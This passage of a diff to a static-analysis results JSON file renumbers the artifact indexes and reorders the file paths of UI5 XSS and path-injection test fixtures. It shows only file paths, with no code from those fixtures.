+        "uriBaseId" : "%SRCROOT%",
+        "index" : 148
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 109
+        "index" : 149
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 110
+        "index" : 150
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 111
+        "index" : 151
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 112
+        "index" : 152
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 113
+        "index" : 153
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 114
-      }
-    }, {
-      "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
-        "uriBaseId" : "%SRCROOT%",
-        "index" : 115
+        "index" : 154
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 116
+        "index" : 155
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 117
+        "index" : 156
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 118
+        "index" : 157
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 119
+        "index" : 158
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 120
+        "index" : 159
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 121
+        "index" : 160
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 122
+        "index" : 161
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 123
+        "index" : 162
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 124
+        "index" : 163
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 125
+        "index" : 164
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 126
+        "index" : 165
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 127
+        "index" : 166
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 128
+        "index" : 167
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 129
+        "index" : 168
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 130
+        "index" : 169
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 131
+        "index" : 170
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 132
+        "index" : 171
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 133
+        "index" : 172
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 134
+        "index" : 173
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 135
+        "index" : 174
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 136
+        "index" : 175
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 137
+        "index" : 176
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 138
+        "index" : 177
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 139
+        "index" : 178
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 140
+        "index" : 179
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 141
+        "index" : 180
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 142
+        "index" : 181
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 143
+        "index" : 182
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 144
+        "index" : 183
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 145
+        "index" : 184
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 146
+        "index" : 185
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 147
+        "index" : 186
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 148
+        "index" : 187
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 149
+        "index" : 188
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 150
+        "index" : 189
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 151
+        "index" : 190
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 152
+        "index" : 191
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 153
+        "index" : 192
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 154
+        "index" : 193
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 155
+        "index" : 194
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 156
+        "index" : 195
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 157
+        "index" : 196
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 158
+        "index" : 197
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 159
+        "index" : 198
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 160
+        "index" : 199
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 161
+        "index" : 200
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 162
+        "index" : 201
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 163
+        "index" : 202
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 164
+        "index" : 203
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 165
+        "index" : 204
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 166
+        "index" : 205
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 167
+        "index" : 206
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 168
+        "index" : 207
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 169
+        "index" : 208
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 170
+        "index" : 209
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 171
+        "index" : 210
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 172
+        "index" : 211
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 173
+        "index" : 212
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 174
+        "index" : 213
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 175
+        "index" : 214
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 176
+        "index" : 215
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 177
+        "index" : 216
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 178
+        "index" : 217
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 179
+        "index" : 218
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 180
+        "index" : 219
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 181
+        "index" : 220
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 182
+        "index" : 221
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 183
+        "index" : 222
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 184
+        "index" : 223
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 185
+        "index" : 224
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 186
+        "index" : 225
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 187
+        "index" : 226
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 188
+        "index" : 227
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 189
+        "index" : 228
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 190
+        "index" : 229
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 191
+        "index" : 230
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 192
+        "index" : 231
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 193
+        "index" : 232
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 194
+        "index" : 233
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 195
+        "index" : 234
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 196
+        "index" : 235
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 197
+        "index" : 236
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 198
+        "index" : 237
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 199
+        "index" : 238
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 200
+        "index" : 239
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 201
+        "index" : 240
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 202
+        "index" : 241
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 203
+        "index" : 242
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 204
+        "index" : 243
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 205
+        "index" : 244
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 206
+        "index" : 245
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 207
+        "index" : 246
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 208
+        "index" : 247
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 209
+        "index" : 248
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 210
+        "index" : 249
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 211
+        "index" : 250
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 212
+        "index" : 251
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 213
+        "index" : 252
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 214
+        "index" : 253
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 215
+        "index" : 254
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 216
+        "index" : 255
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 217
+        "index" : 256
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 218
+        "index" : 257
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 219
+        "index" : 258
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 220
+        "index" : 259
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 221
+        "index" : 260
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 222
+        "index" : 261
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 223
+        "index" : 262
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 224
+        "index" : 263
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 225
+        "index" : 264
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 226
+        "index" : 265
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 227
+        "index" : 266
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 228
+        "index" : 267
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 229
+        "index" : 268
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 230
+        "index" : 269
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 231
+        "index" : 270
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 232
+        "index" : 271
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 233
+        "index" : 272
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 234
+        "index" : 273
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 235
+        "index" : 274
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 236
+        "index" : 275
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 237
+        "index" : 276
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 238
+        "index" : 277
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 239
+        "index" : 278
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 240
+        "index" : 279
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 241
+        "index" : 280
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 242
+        "index" : 281
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
-        "index" : 243
+        "index" : 282
       }
     }, {
       "location" : {
         "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
